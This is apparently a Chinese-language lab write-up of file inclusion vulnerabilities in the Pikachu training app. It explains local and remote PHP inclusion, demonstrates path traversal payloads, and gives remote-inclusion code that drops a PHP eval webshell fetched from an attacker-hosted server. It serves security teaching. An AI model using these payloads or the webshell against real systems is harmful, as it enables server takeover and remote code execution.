四、pikachu之文件包含
文章目录
- 1、文件包含漏洞概述
- 1.1 文件包含漏洞
- 1.2 相关函数
- 1.3 文件包含漏洞分类
- 2、File Inclusion(local)
- 3、File Inclusion(remote)
1、文件包含漏洞概述
1.1 文件包含漏洞
文件包含漏洞:在web后台开发中,程序员往往为了提高效率以及让代码看起来更简洁,会使用“包含”函数功能。比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码。但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。
需要注意的是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。
1.2 相关函数
文件包含包含函数:在php中,通过include()、include_once()或require()、require_once()语句,可以将php文件的内容插入另一个php文件(在服务器执行它之前)。include()和include_once()的区别在于include_once()只能包含一次相同的文件。
include和require函数在错误处理方面有所不同:
- require会生成致命错误(E_COMPILE_ERROR)并停止脚本;
- include只生成警告(E_WARNING),并且脚本会继续。
1.3 文件包含漏洞分类
根据不同的配置环境,文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞:
(1)本地文件包含漏洞
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
(2)远程文件包含漏洞
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。
此处的本地指的是服务器端,远程指的是非服务器端。
2、File Inclusion(local)
(1)在搜索框中选择kobe之后1,url变为:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4

观察到url中出现
filename=file1.php,那么该目录下是否存在fileX.php文件呢?
(2)发现隐藏文件,对文件名进行爆破,可以发现file6、file7、file8、file9、file10、file100返回异常。说明存在隐藏文件。

(3)读取不同文件夹的文件
filename=file9.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4,可以发现现在include函数中的相对路径已经跳转到了/app/vul路径下了。也就是说只要我们知道某个文件的相对位置,就可以访问它。

3、File Inclusion(remote)
(1)远程文件包含这里,同样是通过传递一个文件名进行包含。

(2)filename改为www.baidu.com后,会直接访问百度;

(3)在 Kali 上,在 /var/www/html/ 中新建一个shell.txt,输入下面的内容:
<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[cmd]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
同时,使用service apache2 start开始apache服务,构造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交

貌似什么也没发生,我们需要访问生成的shell.php文件就可以拿到webshell了。
(4)连接webshell

另外,远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:
allow_url_fopen = on;(默认开)
allow_url_include = on;(默认关)
相关文章:
四、pikachu之文件包含
文章目录 1、文件包含漏洞概述1.1 文件包含漏洞1.2 相关函数1.3 文件包含漏洞分类 2、File Inclusion(local)3、File Inclusion(remote) 1、文件包含漏洞概述 1.1 文件包含漏洞 文件包含漏洞:在web后台开发中,程序员往往为了提高效率以及让代码看起来更…...
【SVN内网穿透】远程访问Linux SVN服务
文章目录 前言1. Ubuntu安装SVN服务2. 修改配置文件2.1 修改svnserve.conf文件2.2 修改passwd文件2.3 修改authz文件 3. 启动svn服务4. 内网穿透4.1 安装cpolar内网穿透4.2 创建隧道映射本地端口 5. 测试公网访问6. 配置固定公网TCP端口地址6.1 保留一个固定的公网TCP端口地址6…...
没消费?复购难?不如试试即拼七人拼团模式
在当今的社会环境下,快消品、大健康、美容等行业一直是人们生活中不可或缺的一部分。它们各具特色,不断满足大众的需求,因此受到广泛欢迎。但由于市场品种繁多、竞争激烈,消费者的选择也变得更加多样化。为了提高各行业的竞争性&a…...
vscode+ros开发环境搭建
目录 介绍 前提 vscode安装 vscode插件安装 工作空间准备 打开vscode 创建catkin包 编写cpp代码 编译 运行 启动ros服务 监听话题 启动ros测试 介绍 ros开发是机器人开发中必不可少的工作,语言选择可以是c,也可以是python。工具的话,不能像wi…...
10个最好的云GPU服务
随着深度学习、人工智能和机器学习等新技术的出现,云 GPU 的需求量很大。 GPU(图形处理单元)是专用处理器,用于处理计算机图形和游戏等活动所需的大量数据集和复杂计算。不过,它们现在对人工智能(A.I.&…...
使用Nodejs搭建简单的HTTP服务器 - 内网穿透公网远程访问
文章目录 前言1.安装Node.js环境2.创建node.js服务3. 访问node.js 服务4.内网穿透4.1 安装配置cpolar内网穿透4.2 创建隧道映射本地端口 5.固定公网地址🍀小结🍀 🎉博客主页:小智_x0___0x_ 🎉欢迎关注:&…...
Windows下搭建Tomcat HTTP服务,发布外网远程访问
文章目录 前言1.本地Tomcat网页搭建1.1 Tomcat安装1.2 配置环境变量1.3 环境配置1.4 Tomcat运行测试1.5 Cpolar安装和注册 2.本地网页发布2.1.Cpolar云端设置2.2 Cpolar本地设置 3.公网访问测试4.结语 前言 Tomcat作为一个轻量级的服务器,不仅名字很有趣࿰…...
【Spring Boot】详解条件注解以及条件拓展注解@Conditional与@ConditionalOnXxx
Spring Conditional Spring 4.0提供的注解。作用是给需要装载的Bean增加一个条件判断。只有满足条件才会装在到IoC容器中。而这个条件可以由自己去完成的,可以通过重写Condition接口重写matches()方法去实现自定义的逻辑。所以说这个注解增加了对Bean装载的灵活性。…...
Android 12 源码分析 —— 应用层 一(SystemUI准备篇)
Android 12 源码分析 —— 应用层一(SystemUI准备篇) 在接下来的时间中,将会使用Pixel 3(blueline)作为研究对象,选用AOSP的android-12.0.0_r34分支作源代码。 先从android的应用层进行探析,然后慢慢深入android的fr…...
记录 MySQL 如何开启已有的定时任务
1.首先,确保你已经在MySQL的配置文件my.ini中启用了事件调度器。在[mysqld]部分添加event_schedulerON,然后保存文件并重启MySQL服务。这将启用MySQL的事件调度器功能。 但如果是线上业务不能停也可以在该数据库中输入 -- 开启事件计划程序 SET GLOBAL …...
三种生成树(STP,RSTP,MSTP)的基本配置(自我理解)
目录 一、为什么要使用生成树(STP): 二、由于设备冗余而导致的问题: 广播风暴: 三、802.1D生成树基本配置 四、802.1D生成树实验 实验拓扑: 实验配置: 配置完成后,在SW8上观察现象&…...
FRP内网穿透,配置本地电脑作为服务器
FRP内网穿透,配置本地电脑作为服务器 下载FRP服务端客户端 参考链接: https://www.it235.com/实用工具/内网穿透/pierce.html https://www.cnblogs.com/007sx/p/17469301.html 由于没有公网ip,所以尝试内网穿透将本地电脑作为服务器ÿ…...
Linux基础指令
本文已收录至《Linux知识与编程》专栏! 作者:ARMCSKGT 演示环境:CentOS 7 目录 前言 正文 查看当前用户whoami 查看当前目录路径pwd 清理屏幕clear 查看目录下文件指令ls 进入目录指令cd 以树状结构显示目录文件tree 创建普通文件指…...
基于GRU门控循环网络的时间序列预测matlab仿真,对比LSTM网络
目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 LSTM: GRU 2.算法运行软件版本 matlab2022a 3.部分核心程序 %构建GRU网络模型 layers [ ...sequenceInputLayer(N_feature)gruLayer(N_hidden)f…...
windows上ffmpeg如何录制双屏幕中的一个屏幕上的视频
首先,如何在window上安装ffmpeg自己查找scoop安装ffmpeg. 如题: 如果你有两个屏幕,如何让ffmpeg来录制其中的一个屏幕的视频呢。 很简单,首先你要查看另外一个屏幕的分辨率: 第一步:进入系统中 第二步&am…...
使用Python搭建服务器公网展示本地电脑文件
文章目录 1.前言2.本地http服务器搭建2.1.Python的安装和设置2.2.Python服务器设置和测试 3.cpolar的安装和注册3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 Python作为热度比较高的编程语言,其语法简单且语句清晰,而且python有…...
Java IO流(五)Netty实战[TCP|Http|心跳检测|Websocket]
Netty入门代码示例(基于TCP服务) Server端 package com.bierce.io.netty.simple; import io.netty.bootstrap.ServerBootstrap; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.*; import io.netty.channel.nio.NioEventLoopGro…...
C#基础进阶
C#基础进阶 泛型 http://www.runoob.com/csharp/csharp-generic.html 匿名函数 http://www.runoob.com/csharp/csharp-anonymous-methods.html 扩展方法 https://blog.csdn.net/u011127019/article/details/54728886 https://docs.microsoft.com/zh-cn/dotnet/csharp/pr…...
Java:ArrayList集合、LinkedList(链表)集合的底层原理及应用场景
ArrayList集合的底层原理及应用场景 LinkedList(链表)集合的底层原理及应用场景 单向链表 增加数据 删除数据 双向链表 LinkedList的应用场景之一:可以用来设计队列 入队 出队 LinkedList的应用场景之一:可以用来设计栈 压栈(push),addFirst…...
【Python】json文件的读取
文章目录 1. json简介2.json的使用规范3.json文件的书写4.json文件的读取 1. json简介 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,常用于将结构化数据进行传输和存储。它基于JavaScript语法,但可以被多种编程…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...
大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...
什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
免费PDF转图片工具
免费PDF转图片工具 一款简单易用的PDF转图片工具,可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件,也不需要在线上传文件,保护您的隐私。 工具截图 主要特点 🚀 快速转换:本地转换,无需等待上…...
RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...
